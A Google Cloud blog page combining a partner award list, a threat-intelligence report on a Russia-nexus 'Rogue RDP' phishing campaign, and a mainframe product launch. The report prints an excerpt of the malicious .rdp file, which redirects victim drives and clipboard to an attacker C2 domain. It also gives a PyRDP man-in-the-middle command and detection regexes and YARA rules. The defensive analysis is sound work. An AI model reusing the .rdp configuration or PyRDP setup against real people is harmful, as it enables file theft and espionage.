Google Cloud

Cloud Blog
Cloud Blog
  1. It’s an honor to announce the 2025 Google Cloud Partner of the Year winners!

    It takes a lot to build great AI and cloud technology. Advancements and innovation come from collaboration, and Google Cloud has thousands of partners to make this happen. Among these, we're excited to recognize dozens who take our work to the next level. These distinguished partners have demonstrated incredible dedication, innovation, and collaboration in delivering impactful solutions that drive success for our customers. Their contributions to the Google Cloud community are truly remarkable and deserve to be recognized.

    Please join us in congratulating the winners in the following categories on their outstanding achievements.

    Global

    This award celebrates top global partners who exemplify excellence in their category, driving innovation and delivering industry-leading solutions with Google Cloud. With a customer-first approach, these partners have demonstrated outstanding leadership, impact, and commitment to transforming businesses worldwide.

    1 - Global-1
    2 - Global-2

    Country

    This award honors top partners who have demonstrated expertise in leveraging their services and solutions in their country or region to drive sales and deliver outstanding outcomes for Google Cloud customers.

    5 - Country-3
    4 - Country-2
    3 - Country-1

    Industry Solutions

    Partners receiving this award have leveraged Google Cloud capabilities to create comprehensive and compelling solutions that made a significant impact in one or more industries across multiple regions.

    6- Industry Solutions-2
    6 - Industry Solutions-1

    Technology

    This award recognizes partners who used a winning combination of Google Cloud technology in a specific technology segment to deliver innovative solutions and customer satisfaction.

    7 - Technology

    Business Applications

    Winners of this award have leveraged Google Cloud capabilities to create comprehensive and compelling technology solutions that made a significant impact in one industry across multiple regions.

    9 - Business Applications-2
    8 - Business Applications-1

    Artificial Intelligence

    This award recognizes partners who helped customers leverage generative AI in 2024 to achieve outstanding success through Google Cloud technology.

    11 - AI-2
    10 - AI-1

    Data & Analytics

    Partners receiving this award have expertly migrated or deployed new Google Cloud data analytics solutions to help customers extract actionable insights from their data, fueling business transformation.

    12 - Data & Analytics-1
    13 - Data & Analytics-2

    Databases

    This award recognizes partners who have successfully implemented and optimized Google Cloud's database solutions, enabling their customers to manage data efficiently, securely, and at scale.

    14 - Databases

    Google Workspace

    This category honors partners who have excelled in driving sales and delivering outstanding services for Google Workspace, empowering customers with transformative solutions for collaboration and productivity.

    16 - Google Workspace-2
    15 - Google Workspace-1

    Infrastructure Modernization

    This award recognizes partners who have helped customers modernize their infrastructure by leveraging Google Cloud's innovative solutions to increase agility, scalability, and cost-efficiency.

    18 - Infrastructure Modernization-2
    17 - Infrastructure Modernization-1

    Public Sector

    Winners of this award have provided exceptional service and enabled the success of their public sector customers by innovating, building, and delivering the right combination of solutions.

    19 - Public Sector-1
    20 - Public Sector-2

    Security

    This category honors partners who have effectively implemented Google Cloud's security solutions, safeguarding their customers' data and infrastructure from evolving threats.

    21 - Security-1
    22- Security-2

    Talent Development

    Partners receiving this award have demonstrated a commitment to growing their team's cloud skills through training, upskilling, and reskilling their workforce on leading-edge technology with Google Cloud certifications.

    23 - Talent Development

    Training

    Winners of this award have provided exceptional training services and enabled customer success by innovating, building, and delivering the right combination of Google Cloud solutions through learning.

    24 - Training

    Social Impact

    This award recognizes partners who have demonstrated exceptional commitment to driving positive social impact through innovative solutions and initiatives within their organizations.

    25- Social Impact

    Once again, congratulations to our 2025 Google Cloud Partner of the Year winners. It’s our privilege to recognize you for all of the groundbreaking work that you do. We look forward to another future-defining year of innovation and collaboration in the cloud.

  2. Written by: Rohit Nambiar


    Executive Summary

    In October 2024, Google Threat Intelligence Group (GTIG) observed a novel phishing campaign targeting European government and military organizations that was attributed to a suspected Russia-nexus espionage actor we track as UNC5837. The campaign employed signed .rdp file attachments to establish Remote Desktop Protocol (RDP) connections from victims' machines. Unlike typical RDP attacks focused on interactive sessions, this campaign creatively leveraged resource redirection (mapping victim file systems to the attacker servers) and RemoteApps (presenting attacker-controlled applications to victims). Evidence suggests this campaign may have involved the use of an RDP proxy tool likePyRDP to automate malicious activities like file exfiltration and clipboard capture. This technique has beenpreviously dubbed as “Rogue RDP.”

    The campaign likely enabled attackers to read victim drives, steal files, capture clipboard data (including passwords), and obtain victim environment variables. While we did not observe direct command execution on victim machines, the attackers could present deceptive applications for phishing or further compromise. The primary objective of the campaign appears to be espionage and file theft, though the full extent of the attacker's capabilities remains uncertain. This campaign serves as a stark reminder of the security risks associated with obscure RDP functionalities, underscoring the importance of vigilance and proactive defense.

    Introduction

    Remote Desktop Protocol (RDP) is a legitimate Windows service that has beenwellresearched by the security community. However, most of the security community’s existing research is focused on the adversarial use of RDP to control victim machines via interactive sessions. 

    This campaign included use of RDP that was not focused on interactive control of victim machines. Instead, adversaries leveraged two lesser-known features of the RDP protocol to present an application (the nature of which is currently unknown) and access victim resources. Given the low prevalence of this tactic, technique, and procedure (TTP) in previous reporting, we seek to explore the technical intricacies of adversary tradecraft abusing the following functionality of RDP:

    • RDP Property Files (.rdp configuration files)

    • Resource redirection (e.g. mapping victim file systems to the RDP server)

    • RemoteApps (i.e. displaying server-hosted applications to victim)

    Additionally, we will shed light onPyRDP, an open-source RDP proxy tool that offers attractive automation capabilities to attacks of this nature.

    By examining the intricacies of the tradecraft observed, we gain not only a better understanding of existing campaigns that have employed similar tradecraft, but of attacks that may employ these techniques in the future.

    Campaign Operations

    This campaign tracks a wave of suspected Russian espionage activity targeting European government and military organizations via widespread phishing. Google Threat Intelligence Group (GTIG) attributes this activity to a suspected Russia-nexus espionage actor group we refer to as UNC5837. The Computer Emergency Response Team of Ukraine (CERT-UA)reported this campaign on Oct. 29, 2024, noting the use of mass-distributed emails with.rdp file attachments among government agencies and other Ukrainian organizations. This campaign has also been documented byMicrosoft,TrendMicro, andAmazon.

    The phishing email in the campaign claimed to be part of a project in conjunction with Amazon, Microsoft, and the Ukrainian State Secure Communications and Information Security Agency. The email included a signed .rdp file attachment purporting to be an application relevant to the described project. Unlike more common phishing lures, the email explicitly stated no personal data was to be provided and if any errors occurred while running the attachment, to ignore it as an error report would be automatically generated.

    Campaign email sample

    Figure 1: Campaign email sample

    Executing the signed attachment initiates an RDP connection from the victim's machine. The attachment is signed with a Let’s Encrypt certificate issued to the domain the RDP connection is established with. The signed nature of the file bypasses the typical yellow warning banner, which could otherwise alert the user to a potential security risk. More information on signature-related characteristics of these files are covered in a later section.

    Unsigned RDP connection — warning banner

    Figure 2: Unsigned RDP connection — warning banner

    The malicious .rdp configuration file specifies that, when executed, an RDP connection is initiated from the victim’s machine while granting the adversary read & write access to all victim drives and clipboard content. Additionally, it employs the RemoteApp feature, which presents a deceptive application titled "AWS Secure Storage Connection Stability Test" to the victim's machine. This application, hosted on the attacker's RDP server, masquerades as a locally installed program, concealing its true, potentially malicious nature. While the application's exact purpose remains undetermined, it may have been used for phishing or to trick the user into taking action on their machine, thereby enabling further access to the victim's machine. 

    Further analysis suggests the attacker may have used an RDP proxy tool likePyRDP (examined in later sections), which could automate malicious activities such as file exfiltration and clipboard capture, including potentially sensitive data like passwords. While we cannot confirm the use of an RDP proxy tool, the existence, ease of accessibility, and functionalities offered by such a tool make it an attractive option for this campaign. Regardless of whether such a tool was used or not, the tool is bound to the permissions granted by the RDP session. At the time of writing, we are not aware of an RDP proxy tool that exploits vulnerabilities in the RDP protocol, but rather gives enhanced control over the established connection. 

    The techniques seen in this campaign, combined with the complexity of how they interact with each other, make it tough for incident responders to assess the true impact to victim machines. Further, the number of artifacts left to perform post-mortem are relatively small, compared to other attack vectors. Because existing research on the topic is speculative regarding how much control an attacker has over the victim, we sought to dive deeper into the technical details of the technique components. While full modi operandi cannot be conclusively determined, UNC5837’s primary objective appears to be espionage and file stealing.

    Deconstructing the Attack: A Deep Dive into RDP Techniques

    Remote Desktop Protocol

    The RDP is used for communication between the Terminal Server and Terminal Server Client. RDP works with the concept of “virtual channels” that are capable of carrying presentation data, keyboard/mouse activity, clipboard data, serial device information, and more. Given these capabilities, as an attack vector, RDP is commonly seen as a route for attackers in possession of valid victim credentials to gain full graphical user interface(GUI) access to a machine. However, the protocol supports other interesting capabilities that can facilitate less conventional attack techniques.

    RDP Configuration Files

    RDP has a number of properties that can be set to customize the behavior of a remote session (e.g., IP to connect to, display settings, certificate options). While most are familiar with configuring RDP sessions via a traditional GUI (mstsc.exe), these properties can also be defined in a configuration file with the .rdp extension which, when executed, achieves the same effect.

    The following .rdp file was seen as an email attachment (SHA256): ba4d58f2c5903776fe47c92a0ec3297cc7b9c8fa16b3bf5f40b46242e7092b46

    An excerpt of this .rdp file is displayed in Figure 3 with annotations describing some of the configuration settings.

    # Connection information
    
    alternate full address:s:eu-southeast-1-aws[.]govtr[.]cloud
    
    full address:s:eu-southeast-1-aws[.]govtr[.]cloud
    
    # Resource Redirection
    
    drivestoredirect:s:*
    
    redirectprinters:i:1
    
    redirectcomports:i:1
    
    redirectsmartcards:i:1
    
    redirectwebauthn:i:1
    
    redirectclipboard:i:1
    
    redirectposdevices:i:1
    
    # RemoteApp Config
    
    remoteapplicationicon:s:C:\Windows\SystemApps\Microsoft.Windows.
    SecHealthUI_cw5n1h2txyewy\Assets\Health.contrast-white.ico
    
    remoteapplicationmode:i:1
    
    remoteapplicationname:s:AWS Secure Storage Connection Stability Test 
    v24091285697854
    
    remoteapplicationexpandcmdline:i:0
    
    remoteapplicationcmdline:s:%USERPROFILE% %COMPUTERNAME% 
    
    %USERDNSDOMAIN%
    
    remoteapplicationprogram:s:||AWS Secure Storage Connection Stability 
    Test v24091285697854
    
    # Certificate Signing
    
    signature:s:AQABAAEAAABIDgAAMIIORAYJKoZIhvcNAQcCoIIONTCCDj
    ECAQExDzANBglghkgB ZQMEAgEFADALBgkqhkiG9w0BBwGggg1VMIID
    hzCCAw2gAwIBAgISBAM9zxvijMss qZQ1HI92Q29iMAoGCCqGSM49BA
    MDMDIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1M ZXQncyBFbmNye
    XB0MQswCQYDVQQDEwJFNTAeFw0yNDA5MjUxMzM1MjRaFw0yNDEy 
    MjQxMzM1MjNaMBYxFDASBgNVBAMTC2dvdnRyLmNsb3VkMFkwEwY
    HKoZIzj0CAQYI KoZIzj0DAQcDQgAE9QvXN8RVmfGSaJf0nPJcFoWu8N
    whtD2/MJa+0N6k+7pn5XxS 2s74CVZ6alzVJhuRh3711HkOJ/NDZ1HgA
    0IGtaOCAh0wggIZMA4GA1UdDwEB/wQE AwIHgDAdBgNVHSUEFjAUBg
    grBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIw ADAdBgNVHQ
    4EFgQUmlyAvqbyzuGLNNsbP3za+WwgrfwwHwYDVR0jBBgwFoAUnytf 
    zzwhT50Et+0rLMTGcIvS1w0wVQYIKwYBBQUHAQEESTBHMCEGCCsG
    AQUFBzABhhVo dHRwOi8vZTUuby5sZW5jci5vcmcwIgYIKwYBBQUHM
    AKGFmh0dHA6Ly9lNS5pLmxl bmNyLm9yZy8wJQYDVR0RBB4wHIINK
    i5nb3Z0ci5jbG91ZIILZ292dHIuY2xvdWQw EwYDVR0gBAwwCjAIBgZng
    QwBAgEwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdwBI sONr2qZHNA/
    lagL6nTDrHFIBy1bdLIHZu7+rOdiEcwAAAZIpml1hAAAEAwBIMEYC 
    IQCpE8FeX9O+aQZBuhg0LrUcIpfZx9pojamHrrov9YJjSQIhAKBBEO2sSlX3Wxau 
    c7p/xhzOfesiX4DnuCk57t...

    Figure 3: .rdp file excerpt

    When executed, this configuration file initiates an RDP connection to the malicious command-and-control (C2 or C&C) servereu-southeast-1-aws[.]govtr[.]cloud and redirects all drives, printers, COM ports, smart cards, WebAuthn requests (e.g., security key), clipboard, and point-of-sale (POS) devices to the C2 server.

    Theremoteapplicationmode parameter being set to 1 will switch the session from the “traditional” interactive GUI session to instead presenting the victim with only a part (application) of the RDP server. The RemoteApp, titledAWS Secure Storage Connection Stability Test v24091285697854, resides on the RDP server and is presented to the victim in a windowed popup. The icon used to represent this application (on the Windows taskbar for example) is defined byremoteapplicationicon. Windows environment variables%USERPROFILE%, %COMPUTERNAME%, and %USERDNSDOMAIN% are used as command-line arguments to the application. Due to the use of the propertyremoteapplicationexpandcmdline:i:0 , the Windows environment variables sent to the RDP server will be that of the client (aka victim), effectively performing initial reconnaissance upon connection.

    Lastly, thesignature property defines the encoded signature that signs the .rdp file. The signature used in this case was generated usingLet’s Encrypt. Interestingly, the SSL certificate used to sign the file is issued for the domain the RDP connection is made to. For example, with SHA256: 1c1941b40718bf31ce190588beef9d941e217e6f64bd871f7aee921099a9d881.

    Signature property within .rdp file

    Figure 4: Signature property within .rdp file

    Tools likerdp_holiday can be used to decode the public certificate embedded within the file in Figure 4.

    .rdp file parsed by rdp_holiday

    Figure 5: .rdp file parsed by rdp_holiday

    The certificate is an SSL certificate issued for the domain the RDP connection is made to. This can be correlated with the RDP propertiesfull_address /alternate_full_address.

    alternate full address:s:eu-north-1-aws.ua-gov.cloud
    
    full address:s:eu-north-1-aws.ua-gov.cloud

    Figure 6: Remote Address RDP Proprties

    .rdp files targeting other victims also exhibited similar certificate behavior.

    In legitimate scenarios, an organization couldsign RDP connections with SSL certificates tied to their organization’s certificate authority. Additionally, an organization could also disable execution of .rdp files from unsigned and unknown publishers. The corresponding GPO can be found underAdministrative Templates -> Windows Components -> Remote Desktop Services -> Remote Desktop Connection Client -> Allow .rdp files from unknown publishers.

    GPO policy for disabling unknown and unsigned .rdp file execution

    Figure 7: GPO policy for disabling unknown and unsigned .rdp file execution

    The policy in Figure 7 can optionally further be coupled with the “Specify SHA1 Thumbprints of certificates representing trusted .rdp publishers” policy (within the same location) to add certificates as Trusted Publishers.

    From an attacker’s perspective, existence of a signature allows the connection prompt to look less suspicious (i.e., without the usual yellow warning banner), as seen in Figure 8.

    Connection prompt

    Figure 8: Connection prompt (source)

    This RDP configuration approach is especially notable because it maps resources from both the adversary and victim machines: 

    • This RemoteApp being presented resides on the adversary-controlled RDP server, not the client/victim machine. 

    • The Windows environment variables are that of the client/victim that are forwarded to the RDP server as command-line arguments

    • Victim file system drives are forwarded and accessible as remote shares on the RDP server. Only the drives accessible to the victim-user initiating the RDP connection are accessible to the RDP server. The RDP server by default has the ability to read and write to the victim’s file system drives

    • Victim clipboard data is accessible to the RDP server. If the victim machine is running within a virtualized environment but shares its clipboard with the host machine in addition to the guest, the host’s clipboard will also be forwarded to the RDP server.

    Keeping track of what activity happens on the victim and on the server in the case of an attacker-controlled RDP server helps assess the level of control the attacker has over the victim machine. A deeper understanding of the RDP protocol's functionalities, particularly those related to resource redirection and RemoteApp execution, is crucial for analyzing tools like PyRDP. PyRDP operates within the defined parameters of the RDP protocol, leveraging its features rather than exploiting vulnerabilities. This makes understanding the nuances of RDP essential for comprehending PyRDP's capabilities and potential impact. 

    More information on RDP parameters can be foundhere andhere.

    Resource Redirection

    The campaign’s .rdp configuration file set several RDP session properties for the purpose of resource redirection. 

    RDP resource redirection enables the utilization of peripherals and devices connected to the local system within the remote desktop session, allowing access to resources such as:

    • Printers

    • Keyboards, mouse

    • Drives (hard drives, CD/DVD drives, etc.)

    • Serial ports

    • Hardware keys like Yubico (via smartcard and WebAuthn redirection)

    • Audio devices

    • Clipboards (for copy-pasting between local and remote systems)

    Resource redirection in RDP is facilitated through Microsoft's "virtual channels." The communication happens via special RDP packets, called protocol data packets (PDU), that mirror changes between the victim and attacker machine as long as the connection is active. More information on virtual channels and PDU structures can be found inMS-RDPERP.

    Typically, virtual channels employ encrypted communication streams. However, PyRDP is capable of capturing the initial RDP handshake sequences and hence decrypting the RDP communication streams.

    Victim’s mapped-drives as seen on an attacker’s RDP server

    Figure 9: Victim’s mapped-drives as seen on an attacker’s RDP server

    Remote Programs / RemoteApps

    RDP has an optional feature calledRemoteApp programs, which are applications (RemoteApps) hosted on the remote server that behave like a windowed application on the client system, which in this case is a victim machine. This can make a malicious remote app seem like a local application to the victim machine without ever having to touch the victim machine’s disk. 

    Figure 10 is an example of the MS Paint application presented as a RemoteApp as seen by a test victim machine. The application does not exist on the victim machine but is presented to appear like a native application. Notice how there is no banner/top dock that indicates an RDP connection one would expect to see in an interactive session. The only indicator appears to be the RDP symbol on the taskbar.

    RDP RemoteApp (MsPaint.exe) hosted on the RDP server, as seen on a test victim machine

    Figure 10: RDP RemoteApp (MsPaint.exe) hosted on the RDP server, as seen on a test victim machine

    All resources used by RemoteApp belong to that of the RDP server. Additionally, if victim drives are mapped to the RDP server, they are accessible by the RemoteApp as well.

    PyRDP

    While the use of a tool like PyRDP in this campaign cannot be confirmed, the automation capabilities it offers make it an attractive option worth diving deeper into. A closer look at PyRDP will illuminate how such a tool could be useful in this context.

    PyRDP is an open-source, Python-based, man-in-the-middle (MiTM) RDP proxy toolkit designed for offensive engagements.

    PyRDP as a MiTM tool

    Figure 11: PyRDP as a MiTM tool

    PyRDP operates by running on a host (MiTM server) and pointing it to a server running Windows RDP. Victims connect to the MiTM server with no indication of being connected to a relay server, while PyRDP seamlessly relays the connection to the final RDP server while providing enhanced capabilities over the connection, such as:

    • Stealing NTLM hashes of the credentials used to authenticate to the RDP server

    • Running commands on the RDP server after the user connects

    • Capturing the user’s clipboard

    • Enumerating mapped drives

    • Stream, record (video format), and session takeover

    It’s important to note that, from our visibility, PyRDP does not exploit vulnerabilities or expose a new weakness. Instead, PyRDP gives granular control to the functionalities native to the RDP protocol.

    Password Theft

    PyRDP is capable of stealing passwords, regardless of whether Network Level Authentication (NLA) is enabled. In the case NLA is enabled, it will capture the NTLM hash via the NLA as seen in Figure 12. It does so by interrupting the original RDP connection sequence and completing part of it on its own, thereby allowing it to capture hashed credentials. The technique works in a similar way toResponder. More information about how PyRDP does this can be foundhere.

    RDP server user NTLMv2 Hashes recorded by PyRDP during user authentication

    Figure 12: RDP server user NTLMv2 Hashes recorded by PyRDP during user authentication

    Alternatively, if NLA is not enabled, PyRDP attempts to scan the codes it receives when a user tries to authenticate and convert them into virtual key codes, thereby "guessing" the supplied password. The authors of the tool refer to this as their “heuristic method” of detecting passwords.

    Plaintext password detection without NLA

    Figure 13: Plaintext password detection without NLA

    When the user authenticates to the RDP server, PyRDP captures these credentials used to login to the RDP server. In the event the RDP server is controlled by the adversary (e.g., in this campaign), this feature does not add much impact since the credentials captured belong to the actor-controlled RDP server. This capability becomes impactful, however, when an attacker attempts an MiTM attack where the end server is not owned by them.

    It is worth noting that during setup, PyRDP allows credentials to be supplied by the attacker. These credentials are then used to authenticate to the RDP server. By doing so, the user does not need to be prompted for credentials and is directly presented with the RemoteApp instead. In the campaign, given that theusername RDP property was empty, the RDP server was attacker-controlled, and the RemoteApp seemed to be core to the storyline of the operation, we suspect a tool like PyRDP was used to bypass the user authentication prompt to directly present theAWS Secure Storage Connection Stability Test v24091285697854 RemoteApp to the victim.

    Finally, PyRDP automatically captures the RDP challenge during connection establishment. This enables RDP packets to be decrypted if raw network captures are available, revealing more granular details about the RDP session.

    Command Execution

    PyRDP allows for commands to be executed on the RDP server. However, it does not allow for command execution on the victim’s machine. At the time of deployment, commands to be executed can be supplied to PyRDP in the following ways:

    • MS-DOS (cmd.exe)

    • PowerShell commands

    • PowerShell scripts hosted on the PyRDP server file system

    PyRDP executes the command by freezing/blocking the RDP session for a given amount of time, while the command executes in the background. To the user, it seems like the session froze. At the time of deploying the PyRDP MiTM server, the attacker specifies:

    • What command to execute (in one of the aforementioned three ways)

    • How long to block/freeze the user session for

    • How long the command will take to complete

    PyRDP is capable of detecting user connections and disconnections to RDP sessions. However, it lacks the ability to detect user authentication to the RDP server. As a user may connect to an RDP session without immediately proceeding to account login, PyRDP cannot determine authentication status, thus requiring the attacker to estimate a waiting period following user connection (and preceding authentication) before executing commands. It also requires the attacker to define the duration for which the session is to be frozen during command execution, since PyRDP has no way of knowing when the command completes. 

    The example in Figure 14 relays incoming connections to an RDP server on 192.168.1.2. Upon connection, it then starts the calc.exe process on the RDP server 20 seconds after the user connects and freezes the user session for five seconds while the command executes.

    sudo docker run -p 3389:3389 gosecure/pyrdp pyrdp-mitm 192.168.1.2 --payload 
    "timeout 5 & start calc.exe" --payload-delay 20000 --payload-duration 5000

    Figure 14: PyRDP deployment command

    A clever attacker can use this capability of PyRDP to plant malicious files on a redirected drive, even though it cannot directly run it on the victim machine. This could facilitate dropping malicious files in locations that allow for further persistent access (e.g., via DLL-sideloading, malware in startup locations). Defenders can hunt for this activity by monitoring file creations originating frommstsc.exe. We'll dive deeper into practical detection strategies later in this post.

    Clipboard Capture

    PyRDP automatically captures the clipboard of the victim user for as long as the RDP connection is active. This is one point where the attacker’s control extends beyond the RDP server and onto the victim machine. 

    Note that if a user connects from a virtual environment (e.g., VMware) and the host machine's clipboard is mapped to the virtual machine, it would also be forwarded to the RDP session. This can allow the attacker to capture clipboard content from the host and guest machine combined. 

    Scraping/Browsing Client Files

    With file redirection enabled, PyRDP can crawl the target system and save all or specified folders to the MiTM server if instructed at setup using the--crawl option. If the--crawl option is not specified at setup, PyRDP will still capture files, but only those accessed by the user during the RDP session, such as environment files. During an active connection, an attacker can also connect to the live stream and freely browse the target system's file system via the PyRDP-player GUI to download files (see Figure 15). 

    It is worth noting that while PyRDP does not explicitly present the ability to place files on the victim’s mapped drives, the RDP protocol itself does allow it. Should an adversary misuse that capability, it would be outside the scope of PyRDP.

    Stream/Capture/Intercept RDP Sessions

    PyRDP is capable of recording RDP sessions for later playback. An attacker can optionally stream each intercepted connection and thereafter connect to the stream port to interact with the live RDP connection. The attacker can also take control of the RDP server and perform actions on the target system. When an attacker takes control, the RDP connection hangs for the user, similar to when commands are executed when a user connects. 

    Streaming, if enabled with the-i option, defaults to TCP port 3000 (configurable). Live connections are streamed on a locally bound port, accessible via the includedpyrdp-player script GUI. Upon completion of a connection, an .mp4 recording of the session can be produced by PyRDP.

    Live session streaming GUI

    Figure 15: Live session streaming GUI (source: DEF CON Safe Mode Demo Labs - Olivier Bilodeau - PyRDP)

    Recommendations for Defenders

    This section focuses on collecting forensic information, hardening systems, and developing detections for RDP techniques used in the campaign.

    Security detections detailed in this section are already integrated into the Google SecOps Enterprise+ platform. In addition, Google maintains similar proactive measures to protect Gmail and Google Workspace users.

    Log Artifacts

    Default Windows Machine

    During testing, limited evidence was recovered on default Windows systems after drive redirection and RemoteApp interaction. In practice, it would be difficult to distinguish between a traditional RDP connection and one with drive redirection and/or RemoteApp usage on a default Windows system. From a forensic perspective, the following patterns are of moderate interest: 

    • Creation of the following registry key upon connection, which gives insight into attacker server address and username used:

    HKU\S-1-5-21-4272539574-4060845865-869095189-1000\SOFTWARE\
    Microsoft\Terminal Server Client\Servers\<attacker_IP_Address>
    
    HKU\S-1-5-21-4272539574-4060845865-869095189-1000\SOFTWARE\
    Microsoft\Terminal Server Client\Servers\<attacker_server>\UsernameHint: 
    "<username used for connection>"
    • The information contained in the Windows Event Logs (Microsoft-Windows-TerminalServices-RDPClient/Operational): 

      • Event ID 1102: Logs attacker server IP address

      • Event ID 1027: Logs attacker server domain name

      • Event ID 1029: Logs username used to authenticate in formatbase64(sha256(username)).

    Heightened Logging Windows Machine

    With enhanced logging capabilities (e.g., Sysmon, Windows advanced audit logging, EDR), artifacts indicative of file write activity on the target system may be present. This was tested and validated using Sysmon file creation events (event ID 11). 

    Victim system drives can be mapped to the RDP server via RDP resource redirection, enabling both read and write operations. Tools such as PyRDP allow for crawling and downloading the entire file directory of the target system. 

    When files are written to the target system using RDP resource redirection, the originating process is observed to beC:\Windows\system32\mstsc.exe. A retrospective analysis of a large set of representative data consisting of enhanced logs indicates that file write events originating frommstsc.exe are a common occurrence but display a pattern that could be excluded from alerting. 

    For example, multiple arbitrarily named terminal server-themed .tmp files following the regex pattern_TS[A-Z0-9]{4}\.tmp(e.g., _TS4F12.tmp) are written to the user’s%APPDATA%/Local/Temp directory throughout the duration of the connection.

    EventType: FileCreation
    Parent Process: C:\Windows\System32\mstsc.exe
    Target Files:
    	--> C:\Users\Spongebob\AppData\Local\Temp\_TS1D72.tmp
    	--> C:\Users\Spongebob\AppData\Local\Temp\_TS7B73.tmp
    	--> C:\Users\Spongebob\AppData\Local\Temp\_TS36B3.tmp

    Additionally, several file writes and folder creations related to the protocol occur in the%APPDATA%/Local\Microsoft\Terminal Server Client directory. 

    Depending upon the RDP session, excluding these protocol-specific file writes could help manage the number of events to triage and spot potentially interesting ones. It’s worth noting that the Windows system by default will delete temporary folders from the remote computer upon logoff. This does not apply to the file operations on redirected drives.

    Should file read activity be enabled,mstsc.exe-originating file reads could warrant suspicion. It is worth noting that file-read events by nature are noisy due to the way the Windows subsystem operates. Caution should be taken before enabling it.

    .rdp File via Email

    The .rdp configuration file within the campaign was observed being sent as an email attachment. While it's not uncommon for IT administrators to send .rdp files over email, the presence of an external address in the attachment may be an indicator of compromise. The following regex patterns, when run against an organization’s file creation events, can indicate .rdp files being run directly from Outlook email attachments:

    /\\AppData\\Local\\Microsoft\\Windows\\(INetCache|Temporary Internet Files)
    \\Content\.Outlook\\[A-Z0-9]{8}\\[^\\]{1,255}\.rdp$/
    
    /\\AppData\\Local\\Packages\\Microsoft\.Outlook_[a-zA-Z0-9]{1,50}\\.{0,120}
    \\[^\\]{1,80}\.rdp$/
    
    /\\AppData\\Local\\Microsoft\\Olk\\Attachments\\([^\\]{1,50}\\){0,5}[^\\]
    {1,80}\.rdp$/

    System Hardening

    The following options could assist with hardening enterprise environments against RDP attack techniques.

    • Network-level blocking of outgoing RDP traffic to public IP addresses

    • Disable resource redirection via the Registry

      • Key:HKEY_LOCAL_MACHINE\Software\Microsoft\Terminal Server Client

      • Type:REG_DWORD

      • Value name:DisableDriveRedirection

      • Value data: 1

    • Configure granular RDP-policies via Group Policy

      • Computer Configuration -> Administrative Templates -> Windows Components -> Remote Desktop Services -> Remote Desktop Connection Client

        • Allow .rdp files from unknown publishers: Setting this to disable will not allow users to run unsigned .rdp files as well as ones from untrusted publishers.

        • Specify SHA1 Thumbprints of certificates representing trusted .rdp publishers: A way to add certificate SHA1s as trusted file publishers

      • Computer Configuration -> Administrative Templates -> Windows Components -> Remote Desktop Services -> Remote Desktop Session Host: Policies on enable/disabling

        • Resource redirection

        • Clipboard redirection

        • Forcing Network Level Authentication

        • Time limits for active/idle connections

    • Blocking .rdp file extension as email attachments

    The applicability of these measures is subject to the nature of activity within a given environment and what is considered “normal” behavior.

    YARA Rules

    These YARA rules can be used to detect suspicious RDP configuration files that enable resource redirection and RemoteApps.

    /*
      Detect RDP config files utilizing RemoteApp and ResourceRedirection
    */
    rule G_Hunting_RDP_File_RemoteApp_ResourceRedir_1
    {
      meta:
        author = "Google Threat Intelligence Group"
        description = "Detect RDP config files utilizing RemoteApp and resource 
    redirection"
      strings:
        $rdp_param1 = "remoteapplicationmode:i:1" wide
        $rdp_param2 = "drivestoredirect:s:" wide
        $rdp_param3 = "remoteapplicationprogram:s:" wide
        $rdp_param4 = "remoteapplicationname:s:" wide
    
      condition:
        filesize < 20KB and (2 of ($rdp_param*))
    }
    /*
      Detect RDP config files with a base64 LetsEncrypt certificate
    */
    rule G_Hunting_RDP_File_LetsEncrypt_Signed_1
    {
      meta:
        author = "Google Threat Intelligence Group"
        description = "Detects signed RDP configuration files that contain 
    a base64 encoded LetsEncrypt certificate"
      strings:
        $rdp_param1 = "full address" wide
        $rdp_param2 = "redirectclipboard" wide
        $rdp_param3 = "remoteapplicationmode" wide
        $rdp_param4 = "compression" wide
        $rdp_param5 = "remoteapplicationexpandcmdline" wide
        $rdp_param6 = "promptcredentialonce" wide
        $rdp_param7 = "allow font smoothing" wide
        $rdp_param8 = "desktopheight" wide
        $rdp_param9 = "screen mode id" wide
        $rdp_param10 = "videoplaybackmode" wide
    
        $lets_encrypt_1 = "Let's Encrypt" base64wide
        $lets_encrypt_2 = "lencr.org" base64wide
    
      condition:
        filesize < 20KB and (any of ($lets_encrypt_*)) and (2 of ($rdp_param*))
    }

    Final Thoughts

    This campaign demonstrates how common tradecraft can be revitalized with alarming effectiveness through a modular approach. By combining mass emailing, resource redirection, and the creative sleight-of-hand use of RemoteApps, the actor could effectively leverage existing RDP techniques while leaving minimal forensic evidence. This combination of familiar techniques, deployed in an unconventional manner, proved remarkably effective, proving that the true danger of Rogue RDP lies not in the code, but in the con.

    In this particular campaign, while control over the target system seems limited, the main capabilities revolve around file stealing, clipboard data capture, and access to environment variables. It is more likely this campaign was aimed at espionage and user manipulation during interaction. Lastly, this campaign once again underscores how readily available red teaming tools intended for education purposes are weaponized by malicious actors with harmful intentions.

    Acknowledgments

    Special thanks to: Van Ta, Steve Miller, Barry Vengerik, Lisa Karlsen, Andrew Thompson, Gabby Roncone, Geoff Ackerman, Nick Simonian, and Mike Stokkel. 

    References 

  3. Modernizing mainframes has been a long and expensive process for too long. Today, we’re launching new solutions that bring the combined strength ofGemini models, and our partners’ technologies and services to accelerate mainframe modernization.  

    Google Cloud generative AI products for mainframe modernization 

    Google Cloud currently offers three products for mainframe customers looking toreimagine their mainframe applications (significantly change the code logic and design), focusing on assessment, code transformation and testing.

    1. Google Cloud Mainframe Assessment Tool (powered by Gemini Models)
    Google Cloud’s Mainframe Assessment Tool (MAT), now generally available, allows customers to thoroughly assess and analyze their entire mainframe estate, including applications and data, enabling informed decisions on the optimal modernization path. MAT provides in-depth code analysis, generates clear code explanations, summarized application logic and specifications, automated documentation creation, identification of application dependencies, and the generation of initial test cases. This accelerates understanding of the mainframe code and jumpstarts the modernization process.Learn more

    2. Google Cloud Mainframe Rewrite (powered by Gemini Models)
    To modernize your mainframe applications, Google Cloud's Mainframe Rewrite, now available in Preview, helps developers transform and reimagine legacy mainframe code into modern languages, such as Java and C#. Mainframe Rewrite provides an IDE environment for developers to iteratively modernize legacy code, test and deploy the modernized application in Google Cloud.Learn more.

    3. Dual Run
    To de-risk the modernization journey, customers can use Google Cloud Dual Run to thoroughly test, certify, and validate the modernized mainframe applications. Dual Run allows users to verify the correctness, completeness, and performance of the modernized code during migration and before the new application goes live in production.

